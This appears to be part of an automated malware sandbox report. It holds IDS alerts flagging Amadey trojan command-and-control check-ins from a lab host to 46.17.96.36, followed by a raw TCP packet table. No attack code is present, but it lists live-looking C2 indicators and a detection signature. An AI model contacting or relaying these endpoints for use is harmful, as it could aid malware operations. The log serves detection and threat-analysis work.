08/29/21-22:28:08.745563	TCP	2027700	ET TROJAN Amadey CnC Check-In	49938	80	192.168.2.4	46.17.96.36
08/29/21-22:28:08.980228	TCP	2027700	ET TROJAN Amadey CnC Check-In	49940	80	192.168.2.4	46.17.96.36
08/29/21-22:28:09.345271	TCP	2027700	ET TROJAN Amadey CnC Check-In	49941	80	192.168.2.4	46.17.96.36
08/29/21-22:28:09.618007	TCP	2027700	ET TROJAN Amadey CnC Check-In	49943	80	192.168.2.4	46.17.96.36
08/29/21-22:28:09.974067	TCP	2027700	ET TROJAN Amadey CnC Check-In	49945	80	192.168.2.4	46.17.96.36
08/29/21-22:28:10.275663	TCP	2027700	ET TROJAN Amadey CnC Check-In	49946	80	192.168.2.4	46.17.96.36
08/29/21-22:28:10.515578	TCP	2027700	ET TROJAN Amadey CnC Check-In	49947	80	192.168.2.4	46.17.96.36
08/29/21-22:28:10.819044	TCP	2027700	ET TROJAN Amadey CnC Check-In	49948	80	192.168.2.4	46.17.96.36
08/29/21-22:28:19.021507	TCP	2027700	ET TROJAN Amadey CnC Check-In	49949	80	192.168.2.4	46.17.96.36
08/29/21-22:28:19.300780	TCP	2027700	ET TROJAN Amadey CnC Check-In	49950	80	192.168.2.4	46.17.96.36
08/29/21-22:28:19.556567	TCP	2027700	ET TROJAN Amadey CnC Check-In	49952	80	192.168.2.4	46.17.96.36
08/29/21-22:28:19.858358	TCP	2027700	ET TROJAN Amadey CnC Check-In	49954	80	192.168.2.4	46.17.96.36
08/29/21-22:28:20.192168	TCP	2027700	ET TROJAN Amadey CnC Check-In	49955	80	192.168.2.4	46.17.96.36
08/29/21-22:28:20.494779	TCP	2027700	ET TROJAN Amadey CnC Check-In	49956	80	192.168.2.4	46.17.96.36
08/29/21-22:28:20.908024	TCP	2027700	ET TROJAN Amadey CnC Check-In	49957	80	192.168.2.4	46.17.96.36
08/29/21-22:28:21.206777	TCP	2027700	ET TROJAN Amadey CnC Check-In	49959	80	192.168.2.4	46.17.96.36
08/29/21-22:28:21.508351	TCP	2027700	ET TROJAN Amadey CnC Check-In	49960	80	192.168.2.4	46.17.96.36
08/29/21-22:28:21.845363	TCP	2027700	ET TROJAN Amadey CnC Check-In	49961	80	192.168.2.4	46.17.96.36
08/29/21-22:28:22.108160	TCP	2027700	ET TROJAN Amadey CnC Check-In	49963	80	192.168.2.4	46.17.96.36
08/29/21-22:28:22.521175	TCP	2027700	ET TROJAN Amadey CnC Check-In	49964	80	192.168.2.4	46.17.96.36
08/29/21-22:28:22.834120	TCP	2027700	ET TROJAN Amadey CnC Check-In	49966	80	192.168.2.4	46.17.96.36
08/29/21-22:28:23.203746	TCP	2027700	ET TROJAN Amadey CnC Check-In	49967	80	192.168.2.4	46.17.96.36
08/29/21-22:28:23.736784	TCP	2027700	ET TROJAN Amadey CnC Check-In	49969	80	192.168.2.4	46.17.96.36
08/29/21-22:28:24.011387	TCP	2027700	ET TROJAN Amadey CnC Check-In	49971	80	192.168.2.4	46.17.96.36
08/29/21-22:28:28.312151	TCP	2027700	ET TROJAN Amadey CnC Check-In	49972	80	192.168.2.4	46.17.96.36
08/29/21-22:28:28.577480	TCP	2027700	ET TROJAN Amadey CnC Check-In	49974	80	192.168.2.4	46.17.96.36
08/29/21-22:28:37.833103	TCP	2027700	ET TROJAN Amadey CnC Check-In	49975	80	192.168.2.4	46.17.96.36
08/29/21-22:28:38.140650	TCP	2027700	ET TROJAN Amadey CnC Check-In	49977	80	192.168.2.4	46.17.96.36
08/29/21-22:28:38.485871	TCP	2027700	ET TROJAN Amadey CnC Check-In	49978	80	192.168.2.4	46.17.96.36
08/29/21-22:28:38.713372	TCP	2027700	ET TROJAN Amadey CnC Check-In	49980	80	192.168.2.4	46.17.96.36
08/29/21-22:28:39.113108	TCP	2027700	ET TROJAN Amadey CnC Check-In	49981	80	192.168.2.4	46.17.96.36
08/29/21-22:28:39.386573	TCP	2027700	ET TROJAN Amadey CnC Check-In	49983	80	192.168.2.4	46.17.96.36
08/29/21-22:28:39.803431	TCP	2027700	ET TROJAN Amadey CnC Check-In	49984	80	192.168.2.4	46.17.96.36
08/29/21-22:28:40.094607	TCP	2027700	ET TROJAN Amadey CnC Check-In	49986	80	192.168.2.4	46.17.96.36
08/29/21-22:28:49.401187	TCP	2027700	ET TROJAN Amadey CnC Check-In	49987	80	192.168.2.4	46.17.96.36
08/29/21-22:28:49.642772	TCP	2027700	ET TROJAN Amadey CnC Check-In	49989	80	192.168.2.4	46.17.96.36
08/29/21-22:28:50.839502	TCP	2027700	ET TROJAN Amadey CnC Check-In	49990	80	192.168.2.4	46.17.96.36
08/29/21-22:28:52.083343	TCP	2027700	ET TROJAN Amadey CnC Check-In	49992	80	192.168.2.4	46.17.96.36
08/29/21-22:28:53.327420	TCP	2027700	ET TROJAN Amadey CnC Check-In	49993	80	192.168.2.4	46.17.96.36
08/29/21-22:28:53.582919	TCP	2027700	ET TROJAN Amadey CnC Check-In	49995	80	192.168.2.4	46.17.96.36
08/29/21-22:28:53.874198	TCP	2027700	ET TROJAN Amadey CnC Check-In	49996	80	192.168.2.4	46.17.96.36
08/29/21-22:28:54.192005	TCP	2027700	ET TROJAN Amadey CnC Check-In	49998	80	192.168.2.4	46.17.96.36
08/29/21-22:28:54.579511	TCP	2027700	ET TROJAN Amadey CnC Check-In	49999	80	192.168.2.4	46.17.96.36
08/29/21-22:28:54.906679	TCP	2027700	ET TROJAN Amadey CnC Check-In	50000	80	192.168.2.4	46.17.96.36
08/29/21-22:28:55.221076	TCP	2027700	ET TROJAN Amadey CnC Check-In	50002	80	192.168.2.4	46.17.96.36
08/29/21-22:28:55.514737	TCP	2027700	ET TROJAN Amadey CnC Check-In	50004	80	192.168.2.4	46.17.96.36
08/29/21-22:28:55.960549	TCP	2027700	ET TROJAN Amadey CnC Check-In	50005	80	192.168.2.4	46.17.96.36
08/29/21-22:28:56.250918	TCP	2027700	ET TROJAN Amadey CnC Check-In	50007	80	192.168.2.4	46.17.96.36
08/29/21-22:28:56.511308	TCP	2027700	ET TROJAN Amadey CnC Check-In	50009	80	192.168.2.4	46.17.96.36
08/29/21-22:28:56.850095	TCP	2027700	ET TROJAN Amadey CnC Check-In	50010	80	192.168.2.4	46.17.96.36
08/29/21-22:28:57.284671	TCP	2027700	ET TROJAN Amadey CnC Check-In	50011	80	192.168.2.4	46.17.96.36
08/29/21-22:28:57.606739	TCP	2027700	ET TROJAN Amadey CnC Check-In	50012	80	192.168.2.4	46.17.96.36
08/29/21-22:28:57.938376	TCP	2027700	ET TROJAN Amadey CnC Check-In	50014	80	192.168.2.4	46.17.96.36
08/29/21-22:28:58.227840	TCP	2027700	ET TROJAN Amadey CnC Check-In	50016	80	192.168.2.4	46.17.96.36
08/29/21-22:28:58.529923	TCP	2027700	ET TROJAN Amadey CnC Check-In	50017	80	192.168.2.4	46.17.96.36
08/29/21-22:28:59.046657	TCP	2027700	ET TROJAN Amadey CnC Check-In	50018	80	192.168.2.4	46.17.96.36
08/29/21-22:28:59.546882	TCP	2027700	ET TROJAN Amadey CnC Check-In	50019	80	192.168.2.4	46.17.96.36
08/29/21-22:28:59.826788	TCP	2027700	ET TROJAN Amadey CnC Check-In	50021	80	192.168.2.4	46.17.96.36
08/29/21-22:29:00.381590	TCP	2027700	ET TROJAN Amadey CnC Check-In	50022	80	192.168.2.4	46.17.96.36
08/29/21-22:29:00.696637	TCP	2027700	ET TROJAN Amadey CnC Check-In	50024	80	192.168.2.4	46.17.96.36
08/29/21-22:29:00.970295	TCP	2027700	ET TROJAN Amadey CnC Check-In	50026	80	192.168.2.4	46.17.96.36
08/29/21-22:29:01.327608	TCP	2027700	ET TROJAN Amadey CnC Check-In	50027	80	192.168.2.4	46.17.96.36
08/29/21-22:29:01.656149	TCP	2027700	ET TROJAN Amadey CnC Check-In	50029	80	192.168.2.4	46.17.96.36
08/29/21-22:29:01.955693	TCP	2027700	ET TROJAN Amadey CnC Check-In	50030	80	192.168.2.4	46.17.96.36
08/29/21-22:29:02.216598	TCP	2027700	ET TROJAN Amadey CnC Check-In	50032	80	192.168.2.4	46.17.96.36
08/29/21-22:29:02.525419	TCP	2027700	ET TROJAN Amadey CnC Check-In	50034	80	192.168.2.4	46.17.96.36
08/29/21-22:29:02.801574	TCP	2027700	ET TROJAN Amadey CnC Check-In	50035	80	192.168.2.4	46.17.96.36
08/29/21-22:29:03.142312	TCP	2027700	ET TROJAN Amadey CnC Check-In	50037	80	192.168.2.4	46.17.96.36
08/29/21-22:29:03.528788	TCP	2027700	ET TROJAN Amadey CnC Check-In	50038	80	192.168.2.4	46.17.96.36
08/29/21-22:29:04.018116	TCP	2027700	ET TROJAN Amadey CnC Check-In	50039	80	192.168.2.4	46.17.96.36
08/29/21-22:29:04.296752	TCP	2027700	ET TROJAN Amadey CnC Check-In	50040	80	192.168.2.4	46.17.96.36
08/29/21-22:29:04.552432	TCP	2027700	ET TROJAN Amadey CnC Check-In	50042	80	192.168.2.4	46.17.96.36
08/29/21-22:29:04.848568	TCP	2027700	ET TROJAN Amadey CnC Check-In	50043	80	192.168.2.4	46.17.96.36
08/29/21-22:29:05.037400	TCP	2027700	ET TROJAN Amadey CnC Check-In	50044	80	192.168.2.4	46.17.96.36
08/29/21-22:29:05.363694	TCP	2027700	ET TROJAN Amadey CnC Check-In	50045	80	192.168.2.4	46.17.96.36
08/29/21-22:29:05.621556	TCP	2027700	ET TROJAN Amadey CnC Check-In	50047	80	192.168.2.4	46.17.96.36
08/29/21-22:29:06.120485	TCP	2027700	ET TROJAN Amadey CnC Check-In	50048	80	192.168.2.4	46.17.96.36
08/29/21-22:29:06.410758	TCP	2027700	ET TROJAN Amadey CnC Check-In	50050	80	192.168.2.4	46.17.96.36
08/29/21-22:29:06.709253	TCP	2027700	ET TROJAN Amadey CnC Check-In	50051	80	192.168.2.4	46.17.96.36
08/29/21-22:29:07.041423	TCP	2027700	ET TROJAN Amadey CnC Check-In	50052	80	192.168.2.4	46.17.96.36
08/29/21-22:29:07.333309	TCP	2027700	ET TROJAN Amadey CnC Check-In	50054	80	192.168.2.4	46.17.96.36
08/29/21-22:29:07.641004	TCP	2027700	ET TROJAN Amadey CnC Check-In	50055	80	192.168.2.4	46.17.96.36
08/29/21-22:29:08.129369	TCP	2027700	ET TROJAN Amadey CnC Check-In	50056	80	192.168.2.4	46.17.96.36

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2021 22:27:08.873385906 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.880204916 CEST	49735	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.906152964 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.906270981 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.907227039 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.907447100 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.907607079 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.907707930 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.913052082 CEST	80	49735	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.913183928 CEST	49735	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.914541006 CEST	49735	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.939810991 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.939955950 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.940341949 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.940382004 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.940452099 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.940483093 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.940500975 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.940529108 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.940597057 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.940609932 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.940814018 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.940896034 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.948858976 CEST	80	49735	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.973356009 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.973484039 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.973659039 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.973696947 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.973731995 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.973766088 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.973788977 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.973807096 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.974024057 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.974107981 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.974149942 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.974164963 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.974267960 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.974308014 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.974360943 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.974412918 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.974589109 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.974692106 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:08.995714903 CEST	80	49735	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:08.995820045 CEST	49735	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.006266117 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.006360054 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.006531000 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.006557941 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.006680965 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.006952047 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.006977081 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.007023096 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.007024050 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.007055044 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.007061005 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.007236004 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.007265091 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.007618904 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.008898973 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.011858940 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.011889935 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.011945963 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.011976957 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.012001038 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.012033939 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.012082100 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.038986921 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.039041042 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.039196014 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.039459944 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.039522886 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.039618969 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.039681911 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.039757967 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.039961100 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.040025949 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.081614971 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.081698895 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.121078968 CEST	49736	80	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.137737036 CEST	80	49736	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.137845039 CEST	49736	80	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.138505936 CEST	49736	80	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.155096054 CEST	80	49736	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.160326958 CEST	80	49736	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.160399914 CEST	49736	80	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.166062117 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.183512926 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.183640003 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.211503029 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.229088068 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.235079050 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.235101938 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.235199928 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.235239029 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.304382086 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.305628061 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.305910110 CEST	49735	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.306891918 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.321527004 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.321809053 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.321913004 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.338294983 CEST	80	49734	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.338373899 CEST	49734	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.338476896 CEST	80	49735	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.338548899 CEST	49735	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.339174986 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.342117071 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.342222929 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.342900991 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.342928886 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.342988968 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.343051910 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.356276035 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.378213882 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.378258944 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.378295898 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.378411055 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.378416061 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.378479004 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.378598928 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.378632069 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.378663063 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.378770113 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.378813028 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.378873110 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.378917933 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.379040003 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.389578104 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.389602900 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.389621019 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.389646053 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.389662981 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.389681101 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.389689922 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.389714003 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.389714956 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.389733076 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.389765978 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.389781952 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.389975071 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.390028954 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.390033007 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.390053988 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.390081882 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.390110970 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.390324116 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.390376091 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.390593052 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.390642881 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.390647888 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.390669107 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.390693903 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.390693903 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.390713930 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.390744925 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.391412020 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.391443968 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.391469002 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.391484022 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.391493082 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.391525984 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.391566038 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.392280102 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.392309904 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.392333031 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.392359972 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.392360926 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.392402887 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.392436028 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.393109083 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.393134117 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.393162012 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.393183947 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.393186092 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.393248081 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.393965006 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.393994093 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.394047976 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.394053936 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.394077063 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.394107103 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.394156933 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.394164085 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.394768953 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.394870996 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.406652927 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.406683922 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.406765938 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.406789064 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.406789064 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.406811953 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.406815052 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.406822920 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.406836987 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.406871080 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.406898022 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.407660007 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.407690048 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.407712936 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.407735109 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.407753944 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.407785892 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.407795906 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.408452988 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.408479929 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.408503056 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.408524990 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.408525944 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.408555984 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.408562899 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.408598900 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.409275055 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.409300089 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.409317017 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.409357071 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.409385920 CEST	443	49737	162.159.134.233	192.168.2.4
